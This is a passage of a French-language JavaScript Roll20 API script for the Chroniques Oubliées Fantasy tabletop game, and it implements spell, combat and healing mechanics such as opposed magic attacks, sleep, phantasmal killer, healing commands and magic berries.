attk2 = addOrigin(name2, "[[" + getAttrByName(charId2, 'ATKMAG') + bonus1 + "]]"); var de1 = computeDice(attaquant, 1); var de2 = computeDice(cible, 1); var toEvaluate = "[[" + de1 + "]] [[" + de2 + "]] " + attk1 + " " + attk2; sendChat("", toEvaluate, function(res) { var rolls = res[0]; // Determine which roll number correspond to which expression var afterEvaluate = rolls.content.split(" "); var att1RollNumber = rollNumber(afterEvaluate[0]); var att2RollNumber = rollNumber(afterEvaluate[1]); var attk1SkillNumber = rollNumber(afterEvaluate[2]); var attk2SkillNumber = rollNumber(afterEvaluate[3]); var d20roll1 = rolls.inlinerolls[att1RollNumber].results.total; var att1Skill = rolls.inlinerolls[attk1SkillNumber].results.total; var attackRoll1 = d20roll1 + att1Skill; var d20roll2 = rolls.inlinerolls[att2RollNumber].results.total; var att2Skill = rolls.inlinerolls[attk2SkillNumber].results.total; var attackRoll2 = d20roll2 + att2Skill; var action = "Attaque magique opposée"; var display = startFramedDisplay(msg.playerid, action, attaquant, cible); var line = token1.get('name') + " fait " + buildinline(rolls.inlinerolls[att1RollNumber]); if (att1Skill > 0) line += "+" + att1Skill + " = " + attackRoll1; else if (att1Skill < 0) line += att1Skill + " = " + attackRoll1; addLineToFramedDisplay(display, line); line = token2.get('name') + " fait " + buildinline(rolls.inlinerolls[att2RollNumber]); if (att2Skill > 0) line += "+" + att2Skill + " = " + attackRoll2; else if (att2Skill < 0) line += att2Skill + " = " + attackRoll2; addLineToFramedDisplay(display, line); var reussi; if (d20roll1 == 1) { if (d20roll2 == 1) reussi = (attackRoll1 >= attackRoll2); else reussi = false; } else if (d20roll2 == 1) reussi = true; else if (d20roll1 == 20) { if (d20roll2 == 20) reussi = (attackRoll1 >= attackRoll2); else reussi = true; } else reussi = (attackRoll1 >= attackRoll2); if (reussi) { diminueMalediction(cible, evt); addLineToFramedDisplay(display, "<b>Attaque réussie !</b>"); } else { diminueMalediction(attaquant, evt); addLineToFramedDisplay(display, "<b>L'attaque échoue.</b>"); } if (callback) callback(attaquant, cible, display, reussi); else { sendChat("", endFramedDisplay(display)); addEvent(evt); } }); } function tueurFantasmagorique(msg) { var evt = { type: 'Tueur fantasmagorique' }; attaqueMagique(msg, evt, function(attaquant, cible, display, reussi) { if (reussi) { if (attributeAsBool(cible, 'tueurFantasmagorique')) { addLineToFramedDisplay(display, cible.token.get('name') + " a déjà été victime d'un tueur fantasmagorique aujourd'hui, c'est sans effet"); sendChat("", endFramedDisplay(display)); addEvent(evt); return; } setTokenAttr(cible, 'tueurFantasmagorique', true, evt); var s = { carac: 'SAG', seuil: 10 + modCarac(attaquant, 'CHARISME') }; var niveauAttaquant = charAttributeAsInt(attaquant.charId, 'NIVEAU', 1); var niveauCible = charAttributeAsInt(cible.charId, 'NIVEAU', 1); if (niveauCible > niveauAttaquant) s.seuil -= (niveauCible - niveauAttaquant) * 5; else if (niveauCible < niveauAttaquant) s.seuil += (niveauAttaquant - niveauCible); var expliquer = function(message) { addLineToFramedDisplay(display, message, 80); }; var saveOpts = { msgPour: " pour résister au tueur fantasmagorique", attaquant: attaquant }; save(s, cible, expliquer, saveOpts, evt, function(reussiteSave) { if (reussiteSave) { addLineToFramedDisplay(display, cible.token.get('name') + " perd l'équilibre et tombe par terre"); setState(cible, 'renverse', true, evt); } else { //save raté addLineToFramedDisplay(display, cible.token.get('name') + " succombe à ses pires terreurs"); var pv = cible.token.get('bar1_value'); evt.affectes = evt.affectes || []; evt.affectes.push({ affecte: cible.token, prev: { bar1_value: pv } }); updateCurrentBar(cible.token, 1, 0); setState(cible, 'mort', true, evt); } sendChat("", endFramedDisplay(display)); addEvent(evt); }); } else { setTokenAttr(cible, 'tueurFantasmagorique', true, evt); sendChat("", endFramedDisplay(display)); addEvent(evt); } }); } function sommeil(msg) { //sort de sommeil var args = msg.content.split(' '); if (args.length < 2) { error("La fonction !cof-sommeil a besoin du nom ou de l'id du lanceur de sort", args); return; } var caster = tokenOfId(args[1], args[1]); if (caster === undefined) { error("Aucun personnage nommé " + args[1], args); return; } var casterCharId = caster.charId; var casterChar = getObj('character', casterCharId); getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { sendPlayer(msg, "Pas de cible sélectionnée pour le sort de sommeil"); return; } var casterName = caster.token.get('name'); var casterCharName = casterChar.get('name'); var cha = modCarac(caster, 'CHARISME'); var attMagText = addOrigin(casterCharName, getAttrByName(casterCharId, 'ATKMAG')); var action = "<b>Capacité</b> : Sort de sommeil"; var display = startFramedDisplay(msg.playerid, action, caster); sendChat("", "[[1d6]] [[" + attMagText + "]]", function(res) { var rolls = res[0]; var afterEvaluate = rolls.content.split(" "); var d6RollNumber = rollNumber(afterEvaluate[0]); var attMagRollNumber = rollNumber(afterEvaluate[1]); var nbTargets = rolls.inlinerolls[d6RollNumber].results.total + cha; var attMag = rolls.inlinerolls[attMagRollNumber].results.total; var evt = { type: 'sommeil', affectes: [] }; var targetsWithSave = []; var targetsWithoutSave = []; iterSelected(selected, function(perso) { perso.name = perso.token.get('name'); var pv = perso.token.get('bar1_max'); if (pv > 2 * attMag) { var line = perso.name + " a trop de PV pour être affecté par le sort"; addLineToFramedDisplay(display, line); } else if (pv > attMag) { targetsWithSave.push(perso); } else { targetsWithoutSave.push(perso); } }); var targets = []; var i, r; if (targetsWithoutSave.length > nbTargets) { i = 0; //position to decide while (nbTargets > 0) { r = randomInteger(nbTargets) + i; targets.push(targetsWithoutSave[r]); targetsWithoutSave[r] = targetsWithoutSave[i]; i++; nbTargets--; } } else { targets = targetsWithoutSave; nbTargets -= targets.length; } targets.forEach(function(t) { setState(t, 'endormi', true, evt); addLineToFramedDisplay(display, t.name + " s'endort"); }); if (nbTargets > 0 && targetsWithSave.length > 0) { if (targetsWithSave.length > nbTargets) { i = 0; targets = []; while (nbTargets > 0) { r = randomInteger(nbTargets) + i; targets.push(targetsWithSave[r]); targetsWithSave[r] = targetsWithSave[i]; i++; nbTargets--; } } else { targets = targetsWithSave; nbTargets -= targets.length; } var seuil = 10 + cha; var tokensToProcess = targets.length; var sendEvent = function() { if (tokensToProcess == 1) { addEvent(evt); sendChat("", endFramedDisplay(display)); } tokensToProcess--; }; targets.forEach(function(t) { testCaracteristique(t, 'SAG', seuil, {}, evt, function(testRes) { var line = "Jet de résistance de " + t.name + ":" + testRes.texte; var sujet = onGenre(t.charId, 'il', 'elle'); if (testRes.reussite) { line += "&gt;=" + seuil + ", " + sujet + " ne s'endort pas"; } else { setState(t, 'endormi', true, evt); line += "&lt;" + seuil + ", " + sujet + " s'endort"; } addLineToFramedDisplay(display, line); sendEvent(); }); }); } else { // all targets are without save addEvent(evt); sendChat("", endFramedDisplay(display)); } }); }, caster); } function transeGuerison(msg) { if (state.COFantasy.combat) { sendChat("", "Pas possible de méditer en combat"); return; } if (msg.selected === undefined || msg.selected.length === 0) { sendPlayer(msg, "Pas de cible sélectionnée pour la transe de guérison"); return; } var evt = { type: "Transe de guérison", affectes: [] }; iterSelected(msg.selected, function(perso) { var token = perso.token; if (attributeAsBool(perso, 'transeDeGuérison')) { sendChar(perso.charId, "a déjà médité depuis le dernier combat"); return; } var bar1 = parseInt(token.get("bar1_value")); var pvmax = parseInt(token.get("bar1_max")); if (isNaN(bar1) || isNaN(pvmax)) return; if (bar1 >= pvmax) { sendChar(perso.charId, "n'a pas besoin de méditer"); return; } var sagMod = modCarac(perso, 'SAGESSE'); var niveau = charAttributeAsInt(perso, 'NIVEAU', 1); var soin = niveau + sagMod; if (soin < 0) soin = 0; evt.affectes.push({ affecte: token, prev: { bar1_value: bar1 } }); if (bar1 === 0) { if (attributeAsBool(perso, 'etatExsangue')) { removeTokenAttr(perso, 'etatExsangue', evt, "retrouve des couleurs"); } } bar1 += soin; if (bar1 > pvmax) { soin -= (bar1 - pvmax); bar1 = pvmax; } updateCurrentBar(token, 1, bar1); setTokenAttr(perso, 'transeDeGuérison', true, evt); sendChar(perso.charId, "entre en méditation pendant 10 minutes et récupère " + soin + " points de vie."); }); addEvent(evt); } // Look for a given string in the PROFIL attribute (case insensitive) // type should be all lower case function charOfType(charId, type) { var attr = findObjs({ _type: 'attribute', _characterid: charId, name: 'PROFIL' }); if (attr.length === 0) return false; var profil = attr[0].get('current').toLowerCase(); return (profil.includes(type)); } function estNonVivant(perso) { return (charAttributeAsBool(perso, 'nonVivant') || attributeAsBool(perso, 'masqueMortuaire')); } function raceIs(perso, race) { var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'RACE' }); if (attr.length === 0) return false; var charRace = attr[0].get('current').toLowerCase(); return (charRace == race.toLowerCase()); } function estMortVivant(perso) { if (charAttributeAsBool(perso, 'mort-vivant')) return true; var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'RACE' }); if (attr.length === 0) return false; var charRace = attr[0].get('current').toLowerCase(); switch (charRace) { case 'squelette': case 'zombie': case 'mort-vivant': case 'momie': return true; default: return false; } } function estUnGeant(perso) { var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'RACE' }); if (attr.length === 0) return false; var charRace = attr[0].get('current').toLowerCase(); switch (charRace) { case 'géant': case 'geant': case 'ogre': case 'ettin': case 'cyclope': return true; default: return false; } } function estHumanoide(perso) { if (charAttributeAsBool(perso, 'humanoide')) return true; var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'RACE' }); if (attr.length === 0) return false; var charRace = attr[0].get('current').toLowerCase(); switch (charRace) { case 'humain': case 'nain': case 'elfe': case 'elfe des bois': case 'elfe noir': case 'drow': case 'halfelin': case 'géant': case 'geant': case 'ange': case 'barghest': case 'démon': case 'doppleganger': case 'dryade': case 'gnoll': case 'gobelin': case 'gobelours': case 'hobegobelin': case 'homme-lézard': case 'kobold': case 'nymphe': case 'ogre': case 'orque': case 'pixie': case 'troll': return true; default: return false; } } function estMauvais(perso) { if (charAttributeAsBool(perso, 'mauvais')) return true; var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'RACE' }); if (attr.length === 0) return false; var charRace = attr[0].get('current').toLowerCase(); switch (charRace) { case 'squelette': case 'zombie': case 'élémentaire': case 'démon': case 'momie': return true; default: return false; } } //Retourne un encodage des tailes : // 1 : minuscule // 2 : très petit // 3 : petit // 4 : moyen // 5 : grand // 6 : énorme // 7 : colossal function taillePersonnage(perso) { var attr = findObjs({ _type: 'attribute', _characterid: perso.charId, name: 'TAILLE' }); if (attr.length === 0) return undefined; switch (attr[0].get('current').toLowerCase()) { case "minuscule": return 1; case "très petit": case "très petite": case "tres petit": return 2; case "petit": case "petite": return 3; case "moyen": case "moyenne": case "normal": case "normale": return 4; case "grand": case "grande": return 5; case "énorme": case "enorme": return 6; case "colossal": case "colossale": return 7; default: return undefined; } } function estAussiGrandQue(perso1, perso2) { var t1 = taillePersonnage(perso1); var t2 = taillePersonnage(perso2); if (t1 === undefined || t2 === undefined) return true; if (t2 > t1) return false; return true; } function soigner(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd.length < 2) { error("Il faut au moins un argument à !cof-soin", cmd); return; } var soigneur = options.lanceur; var pageId; if (soigneur) pageId = soigneur.token.get('pageId'); var cible; var argSoin; if (cmd.length > 4) { error("Trop d'arguments à !cof-soin", cmd); } if (cmd.length > 2) { //cof-soin lanceur [cible] montant if (soigneur === undefined) { soigneur = tokenOfId(cmd[1], cmd[1]); if (soigneur === undefined) { error("Le premier argument n'est pas un token valide", cmd[1]); return; } pageId = soigneur.token.get('pageid'); } if (cmd.length > 3) { // on a la cible en argument cible = tokenOfId(cmd[2], cmd[2], pageId); if (cible === undefined) { error("Le deuxième argument n'est pas un token valide: " + msg.content, cmd[2]); return; } argSoin = cmd[3]; } else { argSoin = cmd[2]; } } else { //on a juste le montant des soins argSoin = cmd[1]; } if (soigneur === undefined && (options.mana || (options.portee !== undefined) || options.limiteParJour || options.limiteParCombat || options.dose)) { error("Il faut préciser un soigneur pour ces options d'effet", options); return; } var charId; var niveau = 1; var rangSoin = 0; var soins; if (soigneur) { charId = soigneur.charId; niveau = charAttributeAsInt(soigneur, 'NIVEAU', 1); rangSoin = charAttributeAsInt(soigneur, 'voieDesSoins', 0); } var effet = "soins"; switch (argSoin) { case 'leger': effet += ' légers'; if (options.dose === undefined && options.limiteParJour === undefined) options.limiteAttribut = { nom: 'soinsLegers', message: "ne peut plus lancer de sort de soins légers aujourd'hui", limite: rangSoin }; var bonusLeger = niveau + charAttributeAsInt(soigneur, 'voieDuGuerisseur', 0); soins = "[[1d8 +" + bonusLeger + "]]"; if (options.portee === undefined) options.portee = 0; break; case 'modere': effet += ' modérés'; if (options.dose === undefined && options.limiteParJour === undefined) options.limiteAttribut = { nom: 'soinsModeres', message: "ne peut plus lancer de sort de soins modéréss aujourd'hui", limite: rangSoin }; if (options.portee === undefined) options.portee = 0; var bonusModere = niveau + charAttributeAsInt(soigneur, 'voieDuGuerisseur', 0); soins = "[[2d8 +" + bonusModere + "]]"; break; case 'groupe': if (!state.COFantasy.combat) { sendChar(charId, " ne peut pas lancer de soin de groupe en dehors des combats"); return; } effet += ' de groupe'; if (options.dose === undefined && options.limiteParJour === undefined) options.limiteAttribut = { nom: 'soinsDeGroupe', message: " a déjà fait un soin de groupe durant ce combat", limite: 1 }; if (options.puissant) soins = "[[1d10"; else soins = "[[1d8"; var bonusGroupe = niveau + charAttributeAsInt(soigneur, 'voieDuGuerisseur', 0); soins += " + " + bonusGroupe + "]]"; msg.content += " --allies --self"; if (options.mana === undefined) options.mana = 1; break; default: soins = "[[" + argSoin + "]]"; } sendChat('', soins, function(res) { soins = res[0].inlinerolls[0].results.total; var soinTxt = buildinline(res[0].inlinerolls[0], 'normal', true); if (soins <= 0) { sendChar(charId, "ne réussit pas à soigner (total de soins " + soinTxt + ")"); return; } var evt = { type: effet }; var limiteATester = true; var soinImpossible = false; var nbCibles; var display; var iterCibles = function(callback) { if (cible) { nbCibles = 1; callback(cible); } else { getSelected(msg, function(selected) { nbCibles = selected.length; if (nbCibles > 1) { display = startFramedDisplay(msg.playerid, effet, soigneur); } else if (nbCibles === 0) { sendChar(charId, "personne à soigner"); return; } iterSelected(selected, callback); }); } }; var finSoin = function() { if (nbCibles == 1) { if (display) sendChat("", endFramedDisplay(display)); addEvent(evt); } nbCibles--; }; iterCibles(function(cible) { if (soinImpossible) { finSoin(); return; } var token2 = cible.token; var nomCible = token2.get('name'); var sujet = onGenre(cible.charId, 'il', 'elle'); var Sujet = onGenre(cible.charId, 'Il', 'Elle'); if (options.portee !== undefined) { var distance = distanceCombat(soigneur.token, token2, pageId); if (distance > options.portee) { if (display) addLineToFramedDisplay(display, "<b>" + nomCible + "</b> : trop loin pour le soin."); else sendChar(charId, "est trop loin de " + nomCible + " pour le soigner."); return; } } if (limiteATester) { limiteATester = false; if (limiteRessources(soigneur, options, effet, effet, evt)) { soinImpossible = true; display = undefined; finSoin(); return; } else if (display) { addLineToFramedDisplay(display, "Résultat des dés : " + soinTxt); } } var callMax = function() { if (display) { addLineToFramedDisplay(display, "<b>" + nomCible + "</b> : pas besoin de soins."); } else { var maxMsg = "n'a pas besoin de "; if (!soigneur || token2.id == soigneur.token.id) { maxMsg += "se soigner"; charId = cible.charId; } else { maxMsg += "soigner " + nomCible; } sendChar(charId, maxMsg + ". " + Sujet + " est déjà au maximum de PV"); } return; }; var printTrue = function(s) { if (display) { addLineToFramedDisplay(display, "<b>" + nomCible + "</b> : + " + s + " PV"); } else { var msgSoin; if (!soigneur || token2.id == soigneur.token.id) { msgSoin = 'se soigne'; charId = cible.charId; } else { msgSoin = 'soigne ' + nomCible; } msgSoin += " de "; if (s < soins) msgSoin += s + " PV. (Le résultat du jet était " + soinTxt + ")"; else msgSoin += soinTxt + " PV."; sendChar(charId, msgSoin); } }; var callTrue = printTrue; var pvSoigneur; var callTrueFinal = callTrue; if (msg.content.includes(' --transfer')) { //paie avec ses PV if (soigneur === undefined) { error("Il faut préciser qui est le soigneur pour utiliser l'option --transfer", msg.content); soinImpossible = true; return; } pvSoigneur = parseInt(soigneur.token.get("bar1_value")); if (isNaN(pvSoigneur) || pvSoigneur <= 0) { if (display) addLineToFramedDisplay(display, "<b>" + nomCible + "</b> : plus assez de PV pour le soigner"); else sendChar(charId, "ne peut pas soigner " + nomCible + ", " + sujet + " n'a plus de PV"); soinImpossible = true; finSoin(); return; } if (pvSoigneur < soins) { soins = pvSoigneur; } callTrueFinal = function(s) { evt.affectes.push({ prev: { bar1_value: pvSoigneur }, affecte: soigneur.token }); updateCurrentBar(soigneur.token, 1, pvSoigneur - s); if (pvSoigneur == s) mort(soigneur, evt); callTrue(s); }; } soigneToken(cible, soins, evt, callTrueFinal, callMax); finSoin(); }); //fin de iterCibles }); //fin du sendChat du jet de dés } //Deprecated function aoeSoin(msg) { var args = msg.content.split(' '); if (args.length < 2) { error("Pas assez d'arguments pour !cof-aoe-soin: " + msg.content, args); return; } var evt = { type: 'soins' }; var soigneur; var soins; if (args[1] == "groupe") { if (msg.selected === undefined || msg.selected.length === 0) { error("Il faut sélectionner un token qui lance le sort de soins de groupe", msg); return; } if (msg.selected.length > 1) { error("Plusieurs tokens sélectionnés comme lançant le sort de soins de groupe.", msg.selected); } var persoSoigneur = tokenOfId(msg.selected[0]._id); if (persoSoigneur === undefined) { error("Le token sélectionné ne représente aucun personnage", tokSoigneur); return; } var tokSoigneur = persoSoigneur.token; var charIdSoigneur = persoSoigneur.charId; var niveau = charAttributeAsInt(charIdSoigneur, 'NIVEAU', 1); if (state.COFantasy.combat) { var dejaSoigne = charAttributeAsBool(charIdSoigneur, 'soinsDeGroupe'); if (dejaSoigne) { sendChar(charIdSoigneur, " a déjà fait un soin de groupe durant ce combat"); return; } setTokenAttr(persoSoigneur, 'soinsDeGroupe', true, evt); } if (!depenseMana(persoSoigneur, 1, "lancer un soin de groupe", evt)) return; if (msg.content.includes(' --puissant')) { soins = randomInteger(10) + niveau; } else { soins = randomInteger(8) + niveau; } var nameSoigneur = tokSoigneur.get('name'); soigneur = getObj('character', charIdSoigneur); msg.content += " --allies --self"; } else { // soin générique soins = parseInt(args[1]); if (isNaN(soins) || soins < 1) { error( "L'argument de !cof-aoe-soin doit être un nombre positif", msg.content); return; } } if (soins <= 0) { sendChat('', "Pas de soins (total de soins " + soins + ")"); return; } var action = "Soins de groupe"; var display = startFramedDisplay(msg.playerid, action, soigneur); getSelected(msg, function(selected) { if (selected.length === 0) { addLineToFramedDisplay(display, "Aucune cible sélectionnée pour le soin"); sendChat("", endFramedDisplay(display)); addEvent(evt); return; } evt.affectes = evt.affectes || []; iterSelected(selected, function(perso) { var name = perso.token.get('name'); var callMax = function() { addLineToFramedDisplay(display, "<b>" + name + "</b> : Pas besoin de soins."); return; }; var callTrue = function(soinsEffectifs) { addLineToFramedDisplay(display, "<b>" + name + "</b> : + " + soinsEffectifs + " PV"); }; soigneToken(perso, soins, evt, callTrue, callMax); }); sendChat("", endFramedDisplay(display)); addEvent(evt); }); } function natureNourriciere(msg) { getSelected(msg, function(selected) { iterSelected(selected, function(lanceur) { var charId = lanceur.charId; var duree = randomInteger(6); var output = "cherche des herbes. Après " + duree + " heures, " + onGenre(charId, "il", "elle"); var evt = { type: "recherche d'herbes" }; testCaracteristique(lanceur, 'SAG', 10, {}, evt, function(testRes) { if (testRes.reussite) { output += " revient avec de quoi soigner les blessés."; } else { output += " revient bredouille."; } sendChar(charId, output); addEvent(evt); }); }); }); } function ignorerLaDouleur(msg) { getSelected(msg, function(selected) { iterSelected(selected, function(chevalier) { var charId = chevalier.charId; var token = chevalier.token; if (attributeAsInt(chevalier, 'ignorerLaDouleur', 0) > 0) { sendChar(charId, "a déjà ignoré la doubleur une fois pendant ce combat"); return; } var lastAct = lastEvent(); if (lastAct === undefined || lastAct.type != 'attaque') { sendChar(charId, "s'y prend trop tard pour ignorer la douleur : la dernière action n'était pas une attaque"); return; } if (lastAct.affectes === undefined) { sendChar(charId, "ne peut ignorer la douleur : il semble que la dernière attaque n'ait affecté personne"); return; } var affecte = lastAct.affectes.find(function(aff) { return (aff.affecte.id == token.id); }); if (affecte === undefined || affecte.prev === undefined) { sendChar(charId, "ne peut ignorer la douleur : il semble que la dernière attaque ne l'ait pas affecté"); return; } var lastBar1 = affecte.prev.bar1_value; var bar1 = parseInt(token.get('bar1_value')); if (isNaN(lastBar1) || isNaN(bar1) || lastBar1 <= bar1) { sendChar(charId, "ne peut ignorer la douleur : il semble que la dernière attaque ne lui ai pas enlevé de PV"); return; } var evt = { type: 'ignorer_la_douleur', affectes: [{ affecte: token, prev: { bar1_value: bar1 } }] }; updateCurrentBar(token, 1, lastBar1); setTokenAttr(chevalier, 'ignorerLaDouleur', lastBar1 - bar1, evt); sendChar(charId, " ignore la douleur de la dernière attaque"); }); }); } function fortifiant(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 2) { error("La fonction !cof-fortifiant attend en argument le rang dans la Voie des élixirs du créateur", cmd); return; } var rang = parseInt(cmd[1]); if (isNaN(rang) || rang < 1) { error("Rang du fortifiant incorrect", cmd); return; } getSelected(msg, function(selection) { iterSelected(selection, function(beneficiaire) { var evt = { type: 'fortifiant', attributes: [] }; if (limiteRessources(beneficiaire, options, 'elixir_fortifiant', "boire un fortifiant", evt)) return; var name2 = beneficiaire.token.get('name'); var soins = randomInteger(4) + rang; sendChar(beneficiaire.charId, " boit un fortifiant"); soigneToken(beneficiaire, soins, evt, function(soinsEffectifs) { sendChar(beneficiaire.charId, "et est soigné de " + soinsEffectifs + " PV"); }); // Finalement on met l'effet fortifie setTokenAttr(beneficiaire, 'fortifie', rang + 1, evt); addEvent(evt); }); }); } //Utilisé pour enlever l'argument @{selected|token_id} quand il était //inutile. argsNumber est le nombre d'arguments attendu, on n'enlève //d'argument que si il y en a plus function removeSelectedTokenIdFromArgs(msg, argsNumber) { argsNumber = (isNaN(argsNumber) || argsNumber < 1) ? 1 : argsNumber; var cmd = msg.content.split(' '); if (cmd.length <= argsNumber) return cmd; if (msg.selected === undefined || msg.selected.length === 0) return cmd; if (cmd[1] == msg.selected[0]._id) cmd.splice(1, 1); return cmd; } function lancerSort(msg) { var cmd = removeSelectedTokenIdFromArgs(msg, 3); if (cmd.length < 3) { error("La fonction !cof-lancer-sort attend en argument le coût en mana", cmd); return; } cmd.shift(); var mana = parseInt(cmd.shift()); if (isNaN(mana) || mana < 0) { error("Le deuxième argument de !cof-lancer-sort doit être un nombre positif", msg.content); return; } var spell = cmd.join(' '); getSelected(msg, function(selected) { iterSelected(selected, function(lanceur) { var charId = lanceur.charId; var evt = { type: "lancement de sort" }; if (depenseMana(lanceur, mana, spell, evt)) { sendChar(charId, "/w " + lanceur.token.get('name') + " " + spell); sendChar(charId, "/w GM " + spell); addEvent(evt); } }); }); } function murDeForce(msg) { var cmd = removeSelectedTokenIdFromArgs(msg, 2); if (cmd.length < 2) { error("La fonction !cof-mur-de-force attend en argument la forme du mur", cmd); return; } var sphere = true; if (cmd[1] == 'mur') sphere = false; getSelected(msg, function(selected) { iterSelected(selected, function(lanceur) { var charId = lanceur.charId; var token = lanceur.token; var pageId = lanceur.token.get('pageid'); var options = {}; var args = msg.content.split(' --'); args.shift(); args.forEach(function(opt) { var optCmd = opt.split(' '); switch (optCmd[0]) { case 'mana': if (optCmd.length < 2) { error("Il manque le coût en mana", cmd); options.mana = 5; return; } options.mana = parseInt(optCmd[1]); if (isNaN(options.mana) || options.mana < 0) { error("Coût en mana incorrect", optCmd); options.mana = 5; } return; case 'puissant': options.puissant = true; return; case 'image': if (optCmd.length < 2) { error("Il manque l'adresse de l'image", cmd); return; } options.image = optCmd[1]; return; default: error("Option inconnue", cmd); } }); var evt = { type: "Mur de force" }; if (!depenseMana(lanceur, options.mana, "lancer un mur de force", evt)) { return; } sendChar(charId, "lance un sort de mur de force"); if (options.image && sphere) { var PIX_PER_UNIT = 70; var page = getObj("page", pageId); var scale = page.get('scale_number'); var diametre = PIX_PER_UNIT * (6 / scale); var imageFields = { _pageid: pageId, imgsrc: options.image, represents: '', left: token.get('left'), top: token.get('top'), width: diametre, height: diametre, layer: 'map', name: "Mur de force", isdrawing: true, }; var newImage = createObj('graphic', imageFields); toFront(newImage); var duree = 5 + modCarac(lanceur, 'CHARISME'); setTokenAttr(lanceur, 'murDeForce', duree, evt, undefined, getInit()); setTokenAttr(lanceur, 'murDeForceId', newImage.id, evt); } else { sendChar(charId, "/w " + token.get('name') + " placer l'image du mur sur la carte"); } addEvent(evt); }); }); } function tokensEnCombat() { var cmp = Campaign(); var turnOrder = cmp.get('turnorder'); if (turnOrder === '') return []; // nothing in the turn order turnOrder = JSON.parse(turnOrder); if (turnOrder.length === 0) return []; var tokens = []; turnOrder.forEach(function(a) { if (a.id == -1) return; tokens.push({ _id: a.id }); }); return tokens; } function aUnCapitaine(cible, evt, pageId) { var charId = cible.charId; var token = cible.token; var attrs = findObjs({ _type: 'attribute', _characterid: charId, }); var attrCapitaine = attrs.find(function(a) { return (a.get('name') == 'capitaine'); }); if (attrCapitaine === undefined) return false; if (pageId === undefined) { pageId = token.get('pageid'); } var nomCapitaine = attrCapitaine.get('current'); var idCapitaine = attrCapitaine.get('max'); var capitaine = tokenOfId(idCapitaine, nomCapitaine, pageId); var capitaineActif = attrs.find(function(a) { return (a.get('name') == 'capitaineActif'); }); if (capitaine && isActive(capitaine)) { if (capitaineActif) return true; setTokenAttr({ charId: charId }, 'capitaineActif', true, evt); iterSelected(tokensEnCombat(), function(perso) { if (perso.charId == charId) updateInit(perso.token, evt); }); return true; } if (capitaineActif) { removeTokenAttr({ charId: charId }, 'capitaineActif', evt); iterSelected(tokensEnCombat(), function(perso) { if (perso.charId == charId) updateInit(perso.token, evt); }); } return false; } function devientCapitaine(msg) { var cmd = msg.content.split(' '); if (cmd.length < 2) { error("La fonction !cof-capitaine attend en argument l'id du capitaine ou --aucun", cmd); return; } var remove; var capitaine; var nomCapitaine; if (cmd[1] == '--aucun') { remove = true; } else { capitaine = tokenOfId(cmd[1], cmd[1]); if (capitaine === undefined) { error("Le premier argument de !cof-lancer-sort doit être un token", cmd[1]); return; } nomCapitaine = capitaine.token.get('name'); } var evt = { type: 'Capitaine' }; getSelected(msg, function(selected) { iterSelected(selected, function(perso) { var charId = perso.charId; var token = perso.token; if (remove) { removeTokenAttr({ charId: charId }, 'capitaine', evt); removeTokenAttr({ charId: charId }, 'capitaineActif', evt); sendChat('COF', "/w GM " + token.get('name') + " n'a plus de capitaine"); } else { if (token.id == capitaine.token.id) return; setTokenAttr({ charId: charId }, 'capitaine', nomCapitaine, evt, undefined, capitaine.token.id); sendChat('COF', "/w GM " + nomCapitaine + " est le capitaine de " + token.get('name')); } }); addEvent(evt); }); } function distribuerBaies(msg) { if (msg.selected === undefined || msg.selected.length != 1) { error("Pour utiliser !cof-distribuer-baies, il faut sélectionner un token", msg); return; } var druide = tokenOfId(msg.selected[0]._id); if (druide === undefined) { error("Erreur de sélection dans !cof-distribuer-baies", msg.selected); return; } var niveau = charAttributeAsInt(druide, 'NIVEAU', 1); var evt = { type: "Distribution de baies magiques" }; var action = "Distribue des baies"; var display = startFramedDisplay(msg.playerid, action, druide); var mangerBaie = "!cof-consommer-baie " + niveau + " --limiteParJour 1 baieMagique"; getSelected(msg, function(selected) { iterSelected(selected, function(perso) { var nom = perso.token.get('name'); var baie = tokenAttribute(perso, 'dose_baie_magique'); var nbBaies = 1; if (baie.length > 0) { var actionAncienne = baie[0].get('max'); var indexNiveau = actionAncienne.indexOf(' ') + 1; var ancienNiveau = parseInt(actionAncienne.substring(indexNiveau)); if (ancienNiveau > niveau) { addLineToFramedDisplay(display, nom + " a déjà une baie plus puissante"); return; } if (ancienNiveau == niveau) { nbBaies = parseInt(baie[0].get('current')); if (isNaN(nbBaies) || nbBaies < 0) nbBaies = 0; nbBaies++; } } setTokenAttr(perso, 'dose_baie_magique', nbBaies, evt, undefined, mangerBaie); var line = nom + " reçoit une baie"; if (perso.token.id == druide.token.id) line = nom + " en garde une pour lui"; addLineToFramedDisplay(display, line); }); addEvent(evt); sendChat("", endFramedDisplay(display)); }, druide); //fin du getSelected } function consommerBaie(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd.length < 2) { error("Il faut un argument à !cof-consommer-baie", cmd); return; } var baie = parseInt(cmd[1]); if (isNaN(baie) || baie < 0) { error("L'argument de !cof-consommer-baie doit être un nombre positif", cmd); return; } getSelected(msg, function(selection) { if (selection === undefined) { sendPlayer(msg, "Pas de token sélectionné pour !cof-consommer-baie"); return; } var evt = { type: "consommer une baie" }; iterSelected(msg.selected, function(perso) { if (limiteRessources(perso, options, 'baieMagique', "a déjà mangé une baie aujourd'hui. Pas d'effet.", evt)) return; var soins = randomInteger(6) + baie; soigneToken(perso, soins, evt, function(soinsEffectifs) { sendChar(perso.charId, "mange une baie magique. Il est rassasié et récupère " + soinsEffectifs + " points de vie"); }); }); addEvent(evt); }); //fin de getSelected } function replaceInline(msg) { if (_.has(msg, 'inlinerolls')) { msg.content = _.chain(msg.inlinerolls) .reduce(function(m, v, k) { m['$[[' + k + ']]'] = v.results.total || 0; return m; }, {}) .reduce(function(m, v, k) { return m.replace(k, v); }, msg.content) .value(); } } /* Quand on protège un allié, on stocke l'id et le nom du token dans un attribut 'protegerUnAllie' (champs current et max), et pour ce token, on met un * attribut 'protegePar_nom' où nom est le nom du token protecteur, et qui contient l'id et le nom du token protecteur * Ces attributs disparaissent à la fin des combats */ function protegerUnAllie(msg) { var args = msg.content.split(" "); if (args.length < 3) { error("Pas assez d'arguments pour !cof-proteger-un-allie: " + msg.content, args); return; } var protecteur = tokenOfId(args[1], args[1]); if (protecteur === undefined) { error("Le premier argument n'est pas un token valide", args[1]); 